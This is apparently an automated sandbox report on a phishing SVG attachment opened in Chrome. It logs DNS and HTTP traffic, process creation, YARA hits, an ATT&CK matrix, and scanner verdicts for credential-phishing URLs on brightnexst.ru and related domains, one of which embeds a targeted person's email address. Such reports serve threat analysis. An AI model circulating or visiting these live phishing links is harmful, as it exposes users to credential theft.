                  Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
                  Source: global trafficDNS traffic detected: DNS query: developers.cloudflare.com
                  Source: global trafficDNS traffic detected: DNS query: whod.xqwqkd.ru
                  Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
                  Source: global trafficDNS traffic detected: DNS query: github.com
                  Source: global trafficDNS traffic detected: DNS query: ok4static.oktacdn.com
                  Source: global trafficDNS traffic detected: DNS query: objects.githubusercontent.com
                  Source: global trafficDNS traffic detected: DNS query: get.geojs.io
                  Source: global trafficDNS traffic detected: DNS query: 3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es
                  Source: unknownHTTP traffic detected: POST /sowk0pwIzMKIOObBz3Ya0sP9tr3OaXBtn HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveContent-Length: 809sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzh9MEeH6k30WyWclsec-ch-ua-mobile: ?0Accept: */*Origin: https://jonathanball.brightnexst.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://jonathanball.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjE0K1dJTWpVUFVLMXpYWkY1bTlSM3c9PSIsInZhbHVlIjoic09JUk94bHRnTkJXaGh2WEoxeHZBZE14eTBLSzN3OUJaZEM5U1JRcTJpUzZmN1FvUVJPcTYvbFJmTFBFNnJuVXJKc21iZU5EZ0RoNEdSTmJQbnJBVTV0NW1qT09FMkZzRk45U3JncmxBb1d5R3g4R0Y3VVdRWmtUSVhZUTc2WjQiLCJtYWMiOiJlZGMyMWM5NWM1MDdhYzQ5NTUzZTczNGQzMzMyZWNjOWNhYTkzNzA2OTNkNWVlZWE0MzZmNGJlZmZiNzhkYzg3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdoU0orQlM1dlhXdnFLWEtJeHpoUHc9PSIsInZhbHVlIjoiQlRYOUkzbGNUbjFiUnd2R2JiUkl0cFV5citSbDlmcjlYRzFpY2N0VVVld3hWZkw4N2IraTIrSmMwWXVVWkpUZDlFZWtvWGRrUmdBRGtyTXRTQ29kM2F4cVFDUENjR3liVFlXMUNPQ1hjUytNNzFLc1poMDdUWlJLbG5WbXU1OVgiLCJtYWMiOiJmOWZkYWJjOTUwOGYyZGJlODM5ZWQ3M2E3MWI2YWE1Mzc2Y2JhYzBkNzUyNTMyNjAyMzJmNmJhOWZjZmQ4MjIwIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:44:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bq%2B5XawCQmteboeIPQyBCbT5dGmpLbqavDYS4O6PqNHgXWnK8aybmqDo9TvTW%2FxaFRCnQTh654l1yoGpMbCSzmG2XQyyM1r6VZyB5aGGbeQzTea2a7mjnbbBuAZF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1123&min_rtt=1048&rtt_var=355&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2062&delivery_rate=2711610&cwnd=237&unsent_bytes=0&cid=161fe768a8dde1f9&ts=121&x=0"Server: cloudflareCF-RAY: 922cb8853c96d35c-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=922&min_rtt=777&rtt_var=395&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1719&delivery_rate=3727155&cwnd=241&unsent_bytes=0&cid=3fef79f500eb2c05&ts=216&x=0"
                  Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:44:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1BlCaWvZ2HBlouDayieqq1WPgc1ShkUuqtChPyh055sIjfKVbpMEZgcAa2qQNkcSEGofxrFG9ofhKdNgvlmxry0uFOw6ynQkjky7QaiRa64%2FTEaw7YAHT5ymcAih"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=1240&min_rtt=1211&rtt_var=392&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2263&delivery_rate=2161194&cwnd=251&unsent_bytes=0&cid=fac699edea85c681&ts=86&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 922cb887f9bbdc80-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=587&min_rtt=587&rtt_var=220&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1920&delivery_rate=4933560&cwnd=248&unsent_bytes=0&cid=1c9eb9128e6506b2&ts=140&x=0"
                  Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:44:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yq8A8Um4RviqgOAAuukB7QbETgbUw1BvvvorCzhiwbEKpJXO4Cxj1gBuP5VoutW3NgAhmuUjs1L5o9ydPLdNGN13Dx3QO%2FCy3X1yrL2OGagh%2BUZx1AyC%2FR5GpQG3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1129&min_rtt=1125&rtt_var=430&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2077&delivery_rate=2498705&cwnd=251&unsent_bytes=0&cid=25340bd4c501d5e6&ts=87&x=0"Server: cloudflareCF-RAY: 922cb8897b91dc48-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=604&min_rtt=545&rtt_var=247&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1735&delivery_rate=5313761&cwnd=233&unsent_bytes=0&cid=ffe2e1a0a9bc1d13&ts=177&x=0"
                  Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 11:45:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kbSDGskvCHyuVKBNJvhVvy4uQqF7HAc2FwyJCjuHNDHwB0fZvPLijb3kfTm7DRYadEESfIeIFyN7o%2BlQBI18mGziJP7%2B9E%2Fh0BIxhMAapYbNO4uo%2FhEP1%2BnTrSW0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=2804&min_rtt=1953&rtt_var=1311&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2076&delivery_rate=1477551&cwnd=251&unsent_bytes=0&cid=15da86ebb607c5aa&ts=3217&x=0"Server: cloudflareCF-RAY: 922cb89ffbc8a5ff-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=592&min_rtt=550&rtt_var=236&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1733&delivery_rate=5265454&cwnd=243&unsent_bytes=0&cid=830247444b6e4cb7&ts=4059&x=0"
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49986
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50013 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49985
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49984
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49983
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49970 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49982
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49981
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49980
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50042 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50007 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50054
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50053
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50055
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49984 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50022 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49990 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49979
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49978
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49977
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49976
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49974
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49973
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49971
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50010 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49696
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49970
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50018 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50025 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50004 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50053 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49981 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49969
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49978 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49968
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49999 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49687
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50034 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50015 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49989 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50001 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49986 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50028 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50031 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49992 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50043 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50007
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50006
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50012 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50009
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50008
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49969 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49994 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50020 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50001
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50054 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50002
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50004
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49983 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50006 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50023 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49884 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49997 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50018
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50019
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50032 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50010
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49968 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50012
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50055 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50014
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50013
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50016
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50015
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50026 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50052 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49980 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50029
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50028
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50008 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49971 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50014 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49696 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50021
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50020
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50023
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50022
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50025
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50024
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50027
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50026
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50000 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50021 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50030
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50029 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49884
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49995 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49976 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50011 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50032
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50019 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50031
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50034
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50033
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49877 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49982 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50005 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50041
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50024 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49979 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49999
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49877
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49998
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49997
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49973 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49998 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49995
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49994
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50016 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50041 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50033 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50043
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50042
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50027 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50030 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50052
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49687 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49989
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
                  Source: unknownHTTPS traffic detected: 104.21.2.147:443 -> 192.168.2.18:49877 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.18:49884 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.18:49946 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.18:49968 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.18:49968 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.18:49969 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.18:49970 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49973 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49974 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.18:49976 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.18:49978 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.18:49981 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:49982 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.18:49997 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.18:49998 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:50000 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:49999 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:50001 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.18:50002 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.18:50016 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.18:50018 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.18:50021 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.18:50030 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50053 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50054 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50055 version: TLS 1.2
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\scoped_dir1612_941095539
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile deleted: C:\Windows\SystemTemp\scoped_dir1612_941095539
                  Source: classification engineClassification label: mal100.phis.evad.winSVG@22/33@44/275
                  Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\3414736839.svg
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1944,i,16262697168647705073,7806705129101281971,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1944,i,16262697168647705073,7806705129101281971,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                  Source: Window RecorderWindow detected: More than 3 window changes detected

                  Malware Analysis System Evasion

                  barindex
                  Source: Yara matchFile source: 1.1.d.script.csv, type: HTML
                  Source: Yara matchFile source: 2.12..script.csv, type: HTML
                  Source: Yara matchFile source: 2.13..script.csv, type: HTML
                  Source: Yara matchFile source: 2.4.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.3.pages.csv, type: HTML
                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information1
                  Scripting
                  Valid AccountsWindows Management Instrumentation1
                  Browser Extensions
                  1
                  Process Injection
                  1
                  Masquerading
                  OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
                  Encrypted Channel
                  Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault AccountsScheduled Task/Job1
                  Scripting
                  1
                  Extra Window Memory Injection
                  1
                  Process Injection
                  LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media4
                  Non-Application Layer Protocol
                  Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
                  Deobfuscate/Decode Files or Information
                  Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive5
                  Application Layer Protocol
                  Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
                  File Deletion
                  NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
                  Ingress Tool Transfer
                  Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  Extra Window Memory Injection
                  LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand
                  SourceDetectionScannerLabelLink
                  3414736839.svg5%VirustotalBrowse
                  No Antivirus matches
                  No Antivirus matches
                  No Antivirus matches
                  SourceDetectionScannerLabelLink
                  https://ljn84jrqeg.woofradio.cfd/s3ZB8iDtdMrTte2MyzTiUjEDrXW1cMa77GwJbLStKdOdSKK7VRvGSuu4g1tzJRa9caHDiCspbCsFvUXCckaqN1cvkl3enGT1S2S37XzMmUh9t8BmJ5Pb6ubN7MhmiM5axSSWCxvtFQoIbOuvzhIqQbQlpqTdNJCONjvcSyzJRDZNp51zjlMHMhl4oNmVhDAq3vNxYcPs/PGkpW9YW8V3Fgf0PewDIzjvrmvlkWMTVy5dIfK7TGjV2pGKMYWuFCAQv1xZfw1n9NqWumVROjZZcUrM2QOsCog6F8VAWwJFPKCz2sQVPkqiiwtdMtlYWQckgYgISACPLA5cjorl8zhHATetXqIGLpsf07ZwYcMslYGxjehSn6nkhdx5OdzRl8gM22Be7cyevcWg6lmd4/tshegofatso.bayibayi@jonathanball.co.za0%Avira URL Cloudsafe
                  https://jonathanball.brightnexst.ru/pax6lf1/100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/abYHpYFvpqEccd28100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/GDSherpa-regular.woff2100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/ujJMp4UWprK216fgUSG9qses9SqIlMlOaylS7JH5r2tI9cq100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/wxOq0IetkuWlrtwBlstolvJEewJ4n12130100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/56Fq10dFVhZvkCk71cd3LP6718100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/sowk0pwIzMKIOObBz3Ya0sP9tr3OaXBtn100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/GDSherpa-regular.woff100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/rqqr2dn2MveG1ryZi6XOHuRzADeoa0tkPM6rGUeHD2iuZIIjy100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/GDSherpa-vf2.woff2100%Avira URL Cloudphishing
                  https://a.nel.cloudflare.com/report/v4?s=bq%2B5XawCQmteboeIPQyBCbT5dGmpLbqavDYS4O6PqNHgXWnK8aybmqDo9TvTW%2FxaFRCnQTh654l1yoGpMbCSzmG2XQyyM1r6VZyB5aGGbeQzTea2a7mjnbbBuAZF0%Avira URL Cloudsafe
